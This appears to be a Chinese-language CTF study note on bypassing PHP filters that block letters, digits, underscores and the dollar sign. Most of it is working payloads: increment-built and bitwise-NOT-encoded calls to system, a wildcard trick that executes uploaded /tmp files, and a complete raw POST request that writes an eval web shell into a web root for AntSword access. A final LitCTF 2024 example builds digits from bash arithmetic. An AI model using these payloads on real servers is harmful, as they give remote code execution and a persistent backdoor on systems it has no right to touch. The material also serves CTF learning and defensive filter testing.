?cmd=%24_%3D%5B%5D.''%3B%24___%3D%24_%5B%24__%5D%3B%24__%3D%24___%3B%24_%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20%3D%20%22_%22%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24_%3D%24%24____%3B%60%24_%5B_%5D%60%3B

image-20250427214451152

1
$_=(_/_)._;$_=$_[_];$__=++$_;$__=++$_.$__;$_++;$_++;$_=_.$__.++$_.++$_;$$_[_]($$_[__]);

_=system&__=ls

0x23无字母数字特殊符号过滤(php7)

无字母数字下划线

image-20250429205338573

短标签

1
<?= phpinfo();?>

GET方式提交

1
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>   ->   ?><?=`$_GET[%a0]`?>   取反
1
?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=ls

image-20250429210335757

1
?><?=`{${~"%a0%af%b0%ac%ab"}["-"]}`?>   ->   ?><?`$_POST[-]`?>   取反
1
2
?cmd=?><?=`{${~"%a0%af%b0%ac%ab"}["-"]}`?>
POST: -=ls

image-20250429210803038

无字母数字下划线及$符号过滤

PHP7

($a)() 式执行

利用call_user_func() 函数

1
call_user_func()  ->%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c
1
system  ->  %8c%86%8c%8b%9a%92
1
ls / ->%93%8c
1
?cmd=(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%93%8c,'');

image-20250429211443415

PHP5

文化读取

php中POST上传文件会把我们上传的文件暂时存在/tmp目录下

默认文件名是phpxxxxxx,文件名最后6个字符是随机的大小写字母。

. /???/????????? ?通配符,可以匹配到. /tmp/phpxxxxxx 能匹配东西太多,通常会报错

. /???/????????[@-[] [@-[]表示ASCII在@和[之间的字符,也就是大写字母,保障最后一位为大写字母

一:先构造一个文件上传的POST数据包

二:PHP页面生成临时文件phpxxxxxx,存储在/tmp目录下;

三:执行指令. /???/????????[@-[], 读取文件,执行其中指令;

四:在上传的文件中写入一句话木马,把木马生成位置知道一个绝对路径,直接执行:

在docker内监控文件

/tmp# inotifywait -m /tmp/

bp修改数据包

1
?cmd=?><?=`.+/???/????????[@-[]`;?>

数据包不知道是什么可以通过下面这个网页传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<form action="http://192.168.248.130:18080/class11/3.php" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

保存为 .html文件 用浏览器打开

image-20250429214636196

随便提交一个文件 用burpsuite进行抓包 然后再去修改文件内容就行了

image-20250429220014180

image-20250429214954630

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /class11/3.php?cmd=?%3e%3c?=`.+/%3f%3f%3f%2f%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?%3e HTTP/1.1
Host: 192.168.248.130:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary5c8c61eebe5106b8d9a04d026213a5e3
Content-Length: 416
Origin: null
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

------geckoformboundary5c8c61eebe5106b8d9a04d026213a5e3
Content-Disposition: form-data; name="file"; filename="shell.txt"
Content-Type: image/jpeg

echo "<?php eval(\$_POST['shell']);"?\> >/www/admin/localhost_80/wwwroot/class11/shell.php
------geckoformboundary5c8c61eebe5106b8d9a04d026213a5e3
Content-Disposition: form-data; name="submit"

提交
------geckoformboundary5c8c61eebe5106b8d9a04d026213a5e3--

image-20250429215028692

这里发现已经写入成功了

image-20250429220028405

下面可以用antsword连接

image-20250429220105762

无字母数字过滤;~^`&|

Screenshot_20250429_220158

Screenshot_20250429_220201

无字母数字 只获得数字?

例题 NSSCTF [LitCTF 2024]百万美元的诱惑

image-20250522111128934

在linux里 输入$(())可以构造出0 对其进行取反$((~$(())))就可以构造出1

原理是对二进制取反 00000000->0 取反 11111111 ->-1

将两个-1合在一起取反 ~(-2)-> 1

即$(($(($(($(())))$((~$(())))))))

这里可以 用 -13取反为12

也可以是-2取反为1 和-3取反为2 再合并

1
?x=$((~$(($(($((~$(())))$((~$(())))))))))$((~$(($((~$(())))$(($((~$(())))$((~$(())))))))))
1
?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
1
?x=$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))))))

还可以

  • $$表示当前运行进程的进程号,并且注意到/没有被拦截
  • $(())里面可以包裹并计算数学表达式,则
  • 做个简单除法$$/$$即为1,$$/$$+$$/$$即为2。则exp有了:$(($$/$$))$(($$/$$+$$/$$))?x=$(($$/$$))$(($$/$$+$$/$$))

url编码

1
?x=%24((%24%24%2F%24%24))%24((%24%24%2F%24%24%2B%24%24%2F%24%24))